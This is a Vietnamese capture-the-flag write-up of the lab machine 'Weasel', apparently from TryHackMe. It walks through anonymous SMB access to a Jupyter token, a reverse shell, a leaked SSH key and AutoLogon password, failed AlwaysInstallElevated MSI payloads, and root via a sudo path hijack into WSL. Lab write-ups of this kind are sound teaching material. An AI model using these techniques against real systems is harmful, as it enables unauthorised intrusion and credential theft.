Icon

Weasel

I think the data science team has been a bit fast and loose with their project resources.

November 4, 2025 September 1, 2025 Medium
Author Author Hung Nguyen Tuong

Initial Reconnaissance

Chúng ta thêm dòng này vào /etc/hosts để không cần phải nhớ địa chỉ IP nữa.

10.201.32.126 weasel.thm

Service Scanning

┌──(kali㉿hungnt-desktop)-[~]
└─$ rustscan -a weasel.thm -- -sV -sC

PORT      STATE SERVICE       REASON          VERSION
22/tcp    open  ssh           syn-ack ttl 124 OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 2b:17:d8:8a:1e:8c:99:bc:5b:f5:3d:0a:5e:ff:5e:5e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBae1NsdsMcZJNQQ2wjF2sxXK2ZF3c7qqW3TN/q91pWiDee3nghS1J1FZrUXaEj0wnAAAbYRg5vbRZRP9oEagBwfWG3QJ9AO6s5UC+iTjX+YKH6phKNmsY5N/LKY4+2EDcwa5R4uznAC/2Cy5EG6s7izvABLcRh3h/w4rVHduiwrueAZF9UjzlHBOxHDOPPVtg+0dniGhcXRuEU5FYRA8/IPL8P97djscu23btk/hH3iqdQWlC9b0CnOkD8kuyDybq9nFaebAxDW4XFj7KjCRuuu0dyn5Sr62FwRXO4wu08ePUEmJF1Gl3/fdYe3vj+iE2yewOFAhzbmFWEWtztjJb
|   256 3c:c0:fd:b5:c1:57:ab:75:ac:81:10:ae:e2:98:12:0d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOGl51l9Z4Mg4hFDcQz8v6XRlABMyVPWlkEXrJIg53piZhZ9WKYn0Gi4fKkzo3blDAsdqpGFQ11wwocBCSJGjQU=
|   256 e9:f0:30:be:e6:cf:ef:fe:2d:14:21:a0:ac:45:7b:70 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOHw9uTZkIMEgcZPW9Z28Mm+FX66+hkxk+8rOu7oI6J9
135/tcp   open  msrpc         syn-ack ttl 124 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 124 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack ttl 124
3389/tcp  open  ms-wbt-server syn-ack ttl 124 Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: DEV-DATASCI-JUP
|   NetBIOS_Domain_Name: DEV-DATASCI-JUP
|   NetBIOS_Computer_Name: DEV-DATASCI-JUP
|   DNS_Domain_Name: DEV-DATASCI-JUP
|   DNS_Computer_Name: DEV-DATASCI-JUP
|   Product_Version: 10.0.17763
|_  System_Time: 2025-09-01T05:39:26+00:00
| ssl-cert: Subject: commonName=DEV-DATASCI-JUP
| Issuer: commonName=DEV-DATASCI-JUP
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-08-31T05:28:44
| Not valid after:  2026-03-02T05:28:44
| MD5:   c237:419f:4ef3:b32e:5d4f:313e:c670:d690
| SHA-1: bbf2:591a:8f82:f20b:9419:c5de:3c61:449c:f424:8157
| -----BEGIN CERTIFICATE-----
| MIIC4jCCAcqgAwIBAgIQHTq6rN/4waBJxKbSoJpYnTANBgkqhkiG9w0BAQsFADAa
| MRgwFgYDVQQDEw9ERVYtREFUQVNDSS1KVVAwHhcNMjUwODMxMDUyODQ0WhcNMjYw
| MzAyMDUyODQ0WjAaMRgwFgYDVQQDEw9ERVYtREFUQVNDSS1KVVAwggEiMA0GCSqG
| SIb3DQEBAQUAA4IBDwAwggEKAoIBAQC7jwZOpTSqPwkVi/mmT0B1oNzSe9oq1a4w
| E8yApry69q7WT3b9edKcdSEwJgTjZ8mF4yzV/G2UZelBa7kbxzerSVbgnIRVt8E7
| BzVyxxKSWyJSHrPAhU3297x8NUzBWM4H/4W/n1oB7GPanqgbrf26t6cHGD94a+CW
| /7PG0rr++GJpE+uTTyCZEPwjXck6Ir2o0SX+ijPdImIO4EYURBDHBIADdhjq/59i
| u3GtdVr+z0/Hkw13V2NJYmEMMsK11Cg5GvQSlx/VyGfqJyLdPoB+FGXNKEy1h+AR
| ix6yEPScIfZ51vjw68TBA2T7fwjziDpRpXUa1XYObWfgvrn71NYpAgMBAAGjJDAi
| MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG9w0BAQsF
| AAOCAQEAfv7K/EevOm8p9S1dy+QGhhMo/auKP+6vAbc/HoY4QvE17yXUUvyPFChD
| SshOO1wbyDHiw7UYQwC7ViXavQzL8A80kcKawDvmiafArklj0dKAU7d9VzPzfwJz
| qhIda7pcvdRxJk8A27NahilUAIeDSe3t3Ya68Mu/k6BAs5ODgoT0FpsJvYXykJQM
| zgl+32Ql5gDgcqeQnKeQuKXhudZzfHD5ANIDZz4uESPRAz4eamtNrxLbIav2war7
| 6WI/PGuPlO6vo61/Ffufh9wWPHOXNNVFpzBkibEx4JhIsWPr2zEZBzRrnYUXgke9
| WmDju54PV0N503+6ooIGIHI7LRoBlQ==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-09-01T05:39:37+00:00; 0s from scanner time.
5985/tcp  open  http          syn-ack ttl 124 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8888/tcp  open  http          syn-ack ttl 124 Tornado httpd 6.0.3
| http-methods:
|_  Supported Methods: GET POST
|_http-favicon: Unknown favicon MD5: 97C6417ED01BDC0AE3EF32AE4894FD03
|_http-server-header: TornadoServer/6.0.3
| http-title: Jupyter Notebook
|_Requested resource was /login?next=%2Ftree%3F
| http-robots.txt: 1 disallowed entry
|_/
47001/tcp open  http          syn-ack ttl 124 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         syn-ack ttl 124 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 124 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 124 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 124 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 124 Microsoft Windows RPC
49670/tcp open  msrpc         syn-ack ttl 124 Microsoft Windows RPC
49672/tcp open  msrpc         syn-ack ttl 124 Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Kết quả cho thấy các dịch vụ đang chạy gồm có SSH trên port 22, SMB trên port 139 và 445, RDP trên port 3389, WinRM trên port 5985, một Jupyter Notebook chạy trên port 8888, cùng nhiều RPC service khác. Đặc biệt, thông tin Product_Version: 10.0.17763 tại dịch vụ RDP cho thấy hệ điều hành đang chạy là Windows Server 2019 phiên bản 64-bit.

SMB 139, 445

Đầu tiên, chúng ta enumerate SMB server bằng cách sử dụng các script của Nmap.

┌──(kali㉿hungnt-desktop)-[~]
└─$ nmap -p139,445 -sV --script=smb-enum* -v weasel.thm

PORT    STATE SERVICE       VERSION
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
445/tcp open  microsoft-ds?
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Tuy nhiên, script của Nmap không hiển thị bất kỳ thông tin nào. Vì thế, chúng ta thử dùng enum4linux thay thế. Đầu tiên là với null user:

image

Kết quả cũng không phát hiện ra thông tin gì. Có lẽ chúng ta có thể thử với user anonymous:

┌──(kali㉿hungnt-desktop)-[~]
└─$ enum4linux -a -u 'anonymous' weasel.thm

image

Khi sử dụng user anonymous, chúng ta phát hiện được share có tên datasci-team, và share này cho phép cả đọc và ghi.

/datasci-team

Chúng ta có thể list toàn bộ share này một cách đệ quy như sau:

┌──(kali㉿hungnt-desktop)-[~]
└─$ smbclient -N -U 'anonymous' -c 'recurse; ls' //weasel.thm/datasci-team
  .                                   D        0  Mon Sep  1 13:22:26 2025
  ..                                  D        0  Mon Sep  1 13:22:26 2025
  .ipynb_checkpoints                 DA        0  Thu Aug 25 22:26:47 2022
  Long-Tailed_Weasel_Range_-_CWHR_M157_[ds1940].csv      A      146  Thu Aug 25 22:26:46 2022
  misc                               DA        0  Thu Aug 25 22:26:47 2022
  MPE63-3_745-757.pdf                 A   414804  Thu Aug 25 22:26:46 2022
  papers                             DA        0  Thu Aug 25 22:26:47 2022
  pics                               DA        0  Thu Aug 25 22:26:47 2022
  requirements.txt                    A       12  Thu Aug 25 22:26:46 2022
  weasel.ipynb                        A     4308  Thu Aug 25 22:26:46 2022
  weasel.txt                          A       51  Thu Aug 25 22:26:46 2022

\.ipynb_checkpoints
  .                                  DA        0  Thu Aug 25 22:26:47 2022
  ..                                 DA        0  Thu Aug 25 22:26:47 2022
  requirements-checkpoint.txt         A       12  Thu Aug 25 22:26:47 2022
  weasel-checkpoint.ipynb             A     5972  Thu Aug 25 22:26:47 2022

\misc
  .                                  DA        0  Thu Aug 25 22:26:47 2022
  ..                                 DA        0  Thu Aug 25 22:26:47 2022
  jupyter-token.txt                   A       52  Thu Aug 25 22:26:47 2022

\papers
  .                                  DA        0  Thu Aug 25 22:26:47 2022
  ..                                 DA        0  Thu Aug 25 22:26:47 2022
  BI002_2613_Cz-40-2_Acta-T34-nr25-347-359_o.pdf      A  3491735  Thu Aug 25 22:26:47 2022
  Dillard_Living_Like_Weasels.pdf      A    45473  Thu Aug 25 22:26:47 2022

\pics
  .                                  DA        0  Thu Aug 25 22:26:47 2022
  ..                                 DA        0  Thu Aug 25 22:26:47 2022
  57475-weasel-facts.html             A   301025  Thu Aug 25 22:26:47 2022
  long-tailed-weasel                  A   250269  Thu Aug 25 22:26:47 2022
  Weasel                              A   229746  Thu Aug 25 22:26:47 2022

                15587583 blocks of size 4096. 8948911 blocks available

Chúng ta phát hiện một file jupyter-token.txt chứa token cho jupyter:

┌──(kali㉿hungnt-desktop)-[~]
└─$ smbclient -N -U 'anonymous' //weasel.thm/datasci-team
Try "help" to get a list of possible commands.
smb: \> cd misc
smb: \misc\> get jupyter-token.txt
getting file \misc\jupyter-token.txt of size 52 as jupyter-token.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \misc\> exit

┌──(kali㉿hungnt-desktop)-[~]
└─$ cat jupyter-token.txt
067470c5ddsadc54153ghfjd817d15b5d5f5341e56b0dsad78a

HTTP 8888

/login

image

Tại đây, chúng ta cần một token để xác thực. Ta thử dùng token mà vừa tìm thấy trước đó.

/tree

image

Ở đây, chúng ta có thể thiết lập một reverse shell bằng cách dùng Python notebook hoặc đơn giản là mở trực tiếp Terminal:

image

Shell as dev-datasci (WSL)

Chúng ta có thể dùng một payload reverse Python:

image

Hoặc sử dụng trực tiếp Terminal có sẵn:

image

Chúng ta tiếp tục với reverse shell bằng Python vì gõ lệnh không bị delay.

Sau khi ổn định shell, chúng ta bắt đầu tìm kiếm user.flag.

which python
which python3
/usr/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
(base) dev-datasci@DEV-DATASCI-JUP:~$ find / -name "user.txt" 2>/dev/null
find / -name "user.txt" 2>/dev/null
(base) dev-datasci@DEV-DATASCI-JUP:~$

Vì môi trường Linux hiện tại có khả năng là WSL, nên user.txt có thể nằm trên Windows host. Chúng ta lại tiếp tục enumerate thêm.

Private SSH Key Discovery

(base) dev-datasci@DEV-DATASCI-JUP:/home$ cd ~
cd ~
(base) dev-datasci@DEV-DATASCI-JUP:~$ ls -la
ls -la
total 534108
drwxr-xr-x 1 dev-datasci dev-datasci      4096 Aug 25  2022 .
drwxr-xr-x 1 root        root             4096 Aug 25  2022 ..
-rw------- 1 dev-datasci dev-datasci        96 Aug 31 23:56 .bash_history
-rw-r--r-- 1 dev-datasci dev-datasci       220 Aug 25  2022 .bash_logout
-rw-r--r-- 1 dev-datasci dev-datasci      4270 Aug 25  2022 .bashrc
drwxrwxrwx 1 dev-datasci dev-datasci      4096 Aug 25  2022 .cache
drwxrwxrwx 1 dev-datasci dev-datasci      4096 Aug 25  2022 .conda
drwxrwxrwx 1 dev-datasci dev-datasci      4096 Aug 25  2022 .config
drwxr-xr-x 1 dev-datasci dev-datasci      4096 Aug 25  2022 .ipython
drwx------ 1 dev-datasci dev-datasci      4096 Aug 31 23:40 .jupyter
drwxr-xr-x 1 dev-datasci dev-datasci      4096 Aug 25  2022 .landscape
drwx------ 1 dev-datasci dev-datasci      4096 Aug 25  2022 .local
-rw-rw-rw- 1 dev-datasci dev-datasci         0 Aug 31 23:43 .motd_shown
-rw-r--r-- 1 dev-datasci dev-datasci       807 Aug 25  2022 .profile
-rw-r--r-- 1 dev-datasci dev-datasci         0 Aug 25  2022 .sudo_as_admin_successful
drwxrwxrwx 1 dev-datasci dev-datasci      4096 Aug 25  2022 anaconda3
-rwxrwxrwx 1 dev-datasci dev-datasci 546910666 Aug 25  2022 anacondainstall.sh
drwxrwxrwx 1 dev-datasci dev-datasci      4096 Aug 31 23:56 datasci-team
-rw-rw-rw- 1 dev-datasci dev-datasci       432 Aug 25  2022 dev-datasci-lowpriv_id_ed25519
(base) dev-datasci@DEV-DATASCI-JUP:~$ cat dev-datasci-lowpriv_id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBUoe5ZSezzC65UZhWt4dbvxKor+dNggEhudzK+JSs+YwAAAKjQ358n0N+f
JwAAAAtzc2gtZWQyNTUxOQAAACBUoe5ZSezzC65UZhWt4dbvxKor+dNggEhudzK+JSs+Yw
AAAED9OhQumFOiC3a05K+X6h22gQga0sQzmISvJJ2YYfKZWVSh7llJ7PMLrlRmFa3h1u/E
qiv502CASG53Mr4lKz5jAAAAI2Rldi1kYXRhc2NpLWxvd3ByaXZAREVWLURBVEFTQ0ktSl
VQAQI=
-----END OPENSSH PRIVATE KEY-----

Chúng ta phát hiện một private OpenSSH key trong thư mục home của user hiện tại. Ta lưu lại key này rồi tiếp tục kiểm tra xem có tìm thấy thông tin nhạy cảm nào khác không.

(base) dev-datasci@DEV-DATASCI-JUP:~$ cd /
cd /
(base) dev-datasci@DEV-DATASCI-JUP:/$ ls -la
ls -la
total 112
drwxr-xr-x  1 root root   4096 Aug 25  2022 .
drwxr-xr-x  1 root root   4096 Aug 25  2022 ..
lrwxrwxrwx  1 root root      7 Mar  8  2022 bin -> usr/bin
drwxr-xr-x  1 root root   4096 Mar  8  2022 boot
drwxr-xr-x  1 root root   4096 Aug 31 22:29 dev
drwxr-xr-x  1 root root   4096 Aug 25  2022 etc
drwxr-xr-x  1 root root   4096 Aug 25  2022 home
-rwxr-xr-x  1 root root 112600 Dec 31  1969 init
lrwxrwxrwx  1 root root      7 Mar  8  2022 lib -> usr/lib
lrwxrwxrwx  1 root root      9 Mar  8  2022 lib32 -> usr/lib32
lrwxrwxrwx  1 root root      9 Mar  8  2022 lib64 -> usr/lib64
lrwxrwxrwx  1 root root     10 Mar  8  2022 libx32 -> usr/libx32
drwxr-xr-x  1 root root   4096 Mar  8  2022 media
drwxr-xr-x  1 root root   4096 Aug 25  2022 mnt
drwxr-xr-x  1 root root   4096 Mar  8  2022 opt
dr-xr-xr-x 18 root root      0 Aug 31 22:29 proc
drwx------  1 root root   4096 Aug 25  2022 root
drwxr-xr-x  1 root root   4096 Aug 31 23:53 run
lrwxrwxrwx  1 root root      8 Mar  8  2022 sbin -> usr/sbin
drwxr-xr-x  1 root root   4096 Mar  8  2022 snap
drwxr-xr-x  1 root root   4096 Mar  8  2022 srv
dr-xr-xr-x 12 root root      0 Aug 31 22:29 sys
drwxrwxrwt  1 root root   4096 Aug 25  2022 tmp
drwxr-xr-x  1 root root   4096 Mar  8  2022 usr
drwxr-xr-x  1 root root   4096 Mar  8  2022 var
(base) dev-datasci@DEV-DATASCI-JUP:/$ ls -la home
ls -la home
total 0
drwxr-xr-x 1 root        root        4096 Aug 25  2022 .
drwxr-xr-x 1 root        root        4096 Aug 25  2022 ..
drwxr-xr-x 1 dev-datasci dev-datasci 4096 Aug 25  2022 dev-datasci
(base) dev-datasci@DEV-DATASCI-JUP:/$ ls -la media
ls -la media
total 0
drwxr-xr-x 1 root root 4096 Mar  8  2022 .
drwxr-xr-x 1 root root 4096 Aug 25  2022 ..
(base) dev-datasci@DEV-DATASCI-JUP:/$ ls -la opt
ls -la opt
total 0
drwxr-xr-x 1 root root 4096 Mar  8  2022 .
drwxr-xr-x 1 root root 4096 Aug 25  2022 ..
(base) dev-datasci@DEV-DATASCI-JUP:/$ ls -la mnt
ls -la mnt
total 0
drwxr-xr-x 1 root root 4096 Aug 25  2022 .
drwxr-xr-x 1 root root 4096 Aug 25  2022 ..
drwxrwxrwx 1 root root 4096 Aug 25  2022 c
(base) dev-datasci@DEV-DATASCI-JUP:/$ ls -la mnt/c
ls -la mnt/c
total 0
drwxrwxrwx 1 root root 4096 Aug 25  2022 .
drwxr-xr-x 1 root root 4096 Aug 25  2022 ..
(base) dev-datasci@DEV-DATASCI-JUP:/$ ls -la opt
ls -la opt
total 0
drwxr-xr-x 1 root root 4096 Mar  8  2022 .
drwxr-xr-x 1 root root 4096 Aug 25  2022 ..

Có thể sẽ không còn gì thêm. Tuy nhiên, vì chúng ta thuộc group adm, nên thử grep credentials trong thư mục /var/log xem sao:

(base) dev-datasci@DEV-DATASCI-JUP:/$ cd /var/log
cd /var/log
(base) dev-datasci@DEV-DATASCI-JUP:/var/log$ ls -la
ls -la
total 460
drwxrwxr-x 1 root      syslog            4096 Aug 25  2022 .
drwxr-xr-x 1 root      root              4096 Mar  8  2022 ..
-rw-r--r-- 1 root      root              6172 Aug 25  2022 alternatives.log
drwxr-xr-x 1 root      root              4096 Aug 25  2022 apt
-rw-rw---- 1 root      utmp                 0 Mar  8  2022 btmp
drwxr-xr-x 1 root      root              4096 Feb  8  2022 dist-upgrade
-rw-r--r-- 1 root      root            163951 Aug 25  2022 dpkg.log
drwxr-sr-x 1 root      systemd-journal   4096 Mar  8  2022 journal
drwxr-xr-x 1 landscape landscape         4096 Aug 25  2022 landscape
-rw-rw-r-- 1 root      utmp            292292 Aug 25  2022 lastlog
drwx------ 1 root      root              4096 Aug 25  2022 private
-rw-r--r-- 1 root      root                 0 Aug 25  2022 ubuntu-advantage.log
drwxr-x--- 1 root      adm               4096 Jul 21  2020 unattended-upgrades
-rw-rw-r-- 1 root      utmp                 0 Mar  8  2022 wtmp
(base) dev-datasci@DEV-DATASCI-JUP:/var/log$ grep -i "user\|pass" *.log
grep -i "user\|pass" *.log
dpkg.log:2022-08-25 07:05:09 upgrade dbus-user-session:amd64 1.12.16-2ubuntu2.1 1.12.16-2ubuntu2.2
dpkg.log:2022-08-25 07:05:09 status half-configured dbus-user-session:amd64 1.12.16-2ubuntu2.1
dpkg.log:2022-08-25 07:05:09 status unpacked dbus-user-session:amd64 1.12.16-2ubuntu2.1
dpkg.log:2022-08-25 07:05:09 status half-installed dbus-user-session:amd64 1.12.16-2ubuntu2.1
dpkg.log:2022-08-25 07:05:09 status unpacked dbus-user-session:amd64 1.12.16-2ubuntu2.2
dpkg.log:2022-08-25 07:05:22 upgrade passwd:amd64 1:4.8.1-1ubuntu5.20.04.1 1:4.8.1-1ubuntu5.20.04.2
dpkg.log:2022-08-25 07:05:22 status half-configured passwd:amd64 1:4.8.1-1ubuntu5.20.04.1
dpkg.log:2022-08-25 07:05:22 status unpacked passwd:amd64 1:4.8.1-1ubuntu5.20.04.1
dpkg.log:2022-08-25 07:05:22 status half-installed passwd:amd64 1:4.8.1-1ubuntu5.20.04.1
dpkg.log:2022-08-25 07:05:22 status unpacked passwd:amd64 1:4.8.1-1ubuntu5.20.04.2
dpkg.log:2022-08-25 07:05:22 configure passwd:amd64 1:4.8.1-1ubuntu5.20.04.2 <none>
dpkg.log:2022-08-25 07:05:22 status unpacked passwd:amd64 1:4.8.1-1ubuntu5.20.04.2
dpkg.log:2022-08-25 07:05:22 status half-configured passwd:amd64 1:4.8.1-1ubuntu5.20.04.2
dpkg.log:2022-08-25 07:05:22 status installed passwd:amd64 1:4.8.1-1ubuntu5.20.04.2
dpkg.log:2022-08-25 07:06:23 configure dbus-user-session:amd64 1.12.16-2ubuntu2.2 <none>
dpkg.log:2022-08-25 07:06:23 status unpacked dbus-user-session:amd64 1.12.16-2ubuntu2.2
dpkg.log:2022-08-25 07:06:23 status half-configured dbus-user-session:amd64 1.12.16-2ubuntu2.2
dpkg.log:2022-08-25 07:06:23 status installed dbus-user-session:amd64 1.12.16-2ubuntu2.2

Kết quả là không có thông tin nào ở đây.

Shell as dev-datasci-lowpriv (Host)

Chúng ta thử SSH vào máy bằng private OpenSSH key vừa tìm thấy trước đó, hy vọng có thể truy cập được vào máy host là Windows.

image

Và đúng như vậy, chúng ta đã truy cập được vào Windows host với user có quyền hạn thấp.

user.txt

dev-datasci-lowpriv@DEV-DATASCI-JUP C:\Users\dev-datasci-lowpriv>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\dev-datasci-lowpriv> ls

    Directory: C:\Users\dev-datasci-lowpriv


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        8/25/2022   6:20 AM                .ssh
d-r---        8/25/2022   5:22 AM                3D Objects
d-r---        8/25/2022   5:22 AM                Contacts
d-r---        8/25/2022   7:39 AM                Desktop
d-r---        8/25/2022   5:22 AM                Documents
d-r---        8/25/2022   5:22 AM                Downloads
d-r---        8/25/2022   5:22 AM                Favorites
d-r---        8/25/2022   5:22 AM                Links
d-r---        8/25/2022   5:22 AM                Music
d-r---        8/25/2022   5:22 AM                Pictures
d-r---        8/25/2022   5:22 AM                Saved Games
d-r---        8/25/2022   5:22 AM                Searches
d-r---        8/25/2022   5:22 AM                Videos


PS C:\Users\dev-datasci-lowpriv> cd Desktop
PS C:\Users\dev-datasci-lowpriv\Desktop> ls


    Directory: C:\Users\dev-datasci-lowpriv\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        8/25/2022   5:21 AM       28916488 python-3.10.6-amd64.exe
-a----        8/25/2022   7:40 AM             27 user.txt


PS C:\Users\dev-datasci-lowpriv\Desktop> cat user.txt
THM{w3as3ls_@nd_pyth0ns}

Privileges & Groups

PS C:\Users\dev-datasci-lowpriv> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Tất nhiên, user này không có bất kỳ quyền đặc biệt hay thuộc group nào hữu ích để khai thác.

PS C:\Users\dev-datasci-lowpriv> whoami /groups

GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192

Protection

PS C:\Users\dev-datasci-lowpriv> Get-MpComputerStatus
Get-MpComputerStatus : Cannot connect to CIM server. Access denied
At line:1 char:1
+ Get-MpComputerStatus
+ ~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (MSFT_MpComputerStatus:String) [Get-MpComputerStatus], CimJobException
    + FullyQualifiedErrorId : CimJob_BrokenCimSession,Get-MpComputerStatus

Chúng ta cũng không có quyền để kiểm tra trạng thái của Defender luôn.

WinPEAS

Bây giờ, chúng ta chuyển WinPEAS sang máy target để enumerate các vector leo quyền.

image

Chúng ta phát hiện một vector tiềm năng là AlwaysInstallElevated:

image

Chúng ta có thể tham khảo cách khai thác từ HackTricks:

Ngoài ra, chúng ta cũng tìm thấy AutoLogon credentials:

image

Some AutoLogon credentials were found
    DefaultDomainName             :  DEV-DATASCI-JUP
    DefaultUserName               :  dev-datasci-lowpriv
    DefaultPassword               :  wUqnKWqzha*W!PWrPRWi!M8faUn

Autologon Credentials

Chúng ta thử dùng credentials này để RDP vào target nhưng không được.

image

AlwaysInstallElevated

Bây giờ chúng ta sẽ khai thác AlwaysInstallElevated. Chúng ta thử một payload dạng msi để thêm user có quyền cao và sau đó chuyển sang máy target:

image

Chúng ta chạy lệnh msiexec /quiet /qn /i .\alwe.msi để thực thi payload. Nhưng payload này không chạy và không thêm được user nào. Thế thì ta sẽ thử dùng một meterpreter reverse shell payload vậy:

image

image

Tuy nhiên, chúng ta vẫn không nhận được kết nối. Có thể ta cần phải chỉ định kiến trúc là x64?

image

Vẫn không hoạt động. Hay chúng ta đổi format từ msi-nouac sang msi?

image

Vẫn không được. Hay chúng ta thử dùng shell bình thường thay vì Meterpreter:

image

Cũng không có kết quả. Vậy thì thay vì tự mình khai thác AlwaysInstallElevated, chúng ta trước tiên sẽ khởi tạo một Meterpreter shell connection với user low privilege và sau đó tận dụng post-exploitation module của Metasploit để tự động làm việc này.

image

Chúng ta đưa session về background và thiết lập module:

image

image

Nhưng vẫn không nhận được kết nối nào. Có lẽ đây không phải hướng đi mà tác giả thiết kế, hoặc có thể họ đã chặn kỹ thuật này. Chúng ta chuyển sang một hướng tiếp cận khác.

Shell as root (WSL)

Sudo Permissions

Nhớ rằng. chúng ta vẫn chưa kiểm tra quyền sudo của user dev-datasci trong môi trường Linux.

(base) dev-datasci@DEV-DATASCI-JUP:~/datasci-team$ sudo -l
sudo -l
Matching Defaults entries for dev-datasci on DEV-DATASCI-JUP:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dev-datasci may run the following commands on DEV-DATASCI-JUP:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /home/dev-datasci/.local/bin/jupyter, /bin/su dev-datasci
        -c *
(base) dev-datasci@DEV-DATASCI-JUP:~/datasci-team$ cd /home/dev-datasci/.local/bin
cd /home/dev-datasci/.local/bin
(base) dev-datasci@DEV-DATASCI-JUP:~/.local/bin$ ls -la
ls -la
total 0
drwxrwxrwx 1 dev-datasci dev-datasci 4096 Aug 25  2022 .
drwx------ 1 dev-datasci dev-datasci 4096 Aug 25  2022 ..
-rwxrwxrwx 1 dev-datasci dev-datasci  216 Aug 25  2022 f2py
-rwxrwxrwx 1 dev-datasci dev-datasci  216 Aug 25  2022 f2py3
-rwxrwxrwx 1 dev-datasci dev-datasci  216 Aug 25  2022 f2py3.8

User này có thể chạy /home/dev-datasci/.local/bin/jupyter dưới danh nghĩa bất kỳ ai mà không cần mật khẩu. Tuy nhiên, trong thư mục /home/dev-datasci/.local/bin/ lại không có binary jupyter. Vì vậy, chúng ta chỉ cần copy /bin/bash và đặt tên nó thành jupyter, từ đó giành được shell với quyền root.

(base) dev-datasci@DEV-DATASCI-JUP:~/.local/bin$ cp /bin/bash /home/dev-datasci/.local/bin/jupyter
cp /bin/bash /home/dev-datasci/.local/bin/jupyter
(base) dev-datasci@DEV-DATASCI-JUP:~/.local/bin$ sudo /home/dev-datasci/.local/bin/jupyter
sudo /home/dev-datasci/.local/bin/jupyter
root@DEV-DATASCI-JUP:/home/dev-datasci/.local/bin# id
id
uid=0(root) gid=0(root) groups=0(root)

image

Trong thư mục home của root không có gì cả, nên root.txt chắc chắn nằm trên máy Windows host.

Khi đã là root, chúng ta có thể làm bất kỳ điều gì trong môi trường Linux này, và đôi khi cũng có khả năng ta có quyền hạn nào đó trên máy host.

Nhưng trước tiên, chúng ta cần chắc chắn rằng mình đang ở trong WSL. Hãy xem lệnh mount cho chúng ta những thông tin gì.

image

lxfs là một filesystem driver được sử dụng bởi WSL 1. Như vậy, chúng ta biết rằng đây đúng là môi trường WSL. Do đó, ổ C có thể được mount ở /mnt/c:

image

Nhưng hiện tại nó chưa được mount. Chúng ta có thể thử mount nó:

root@DEV-DATASCI-JUP:/mnt# mount -t drvfs C: /mnt/c
mount -t drvfs C: /mnt/c
root@DEV-DATASCI-JUP:/mnt# ls -la
ls -la
total 0
drwxr-xr-x 1 root root 4096 Aug 25  2022 .
drwxr-xr-x 1 root root 4096 Aug 25  2022 ..
drwxrwxrwx 1 root root 4096 Mar 14  2023 c
root@DEV-DATASCI-JUP:/mnt# ls -la c
ls -la c
ls: cannot read symbolic link 'c/Documents and Settings': Permission denied
ls: cannot access 'c/pagefile.sys': Permission denied
ls: 'c/System Volume Information': Permission denied
total 0
drwxrwxrwx 1 root root 4096 Aug 25  2022 '$Recycle.Bin'
drwxrwxrwx 1 root root 4096 Mar 14  2023  .
drwxr-xr-x 1 root root 4096 Aug 25  2022  ..
lrwxrwxrwx 1 root root   12 Aug 25  2022 'Documents and Settings'
drwxrwxrwx 1 root root 4096 Aug 25  2022  PerfLogs
drwxrwxrwx 1 root root 4096 Aug 25  2022 'Program Files'
drwxrwxrwx 1 root root 4096 Aug 25  2022 'Program Files (x86)'
drwxrwxrwx 1 root root 4096 Mar 13  2023  ProgramData
drwxrwxrwx 1 root root 4096 Aug 25  2022  Recovery
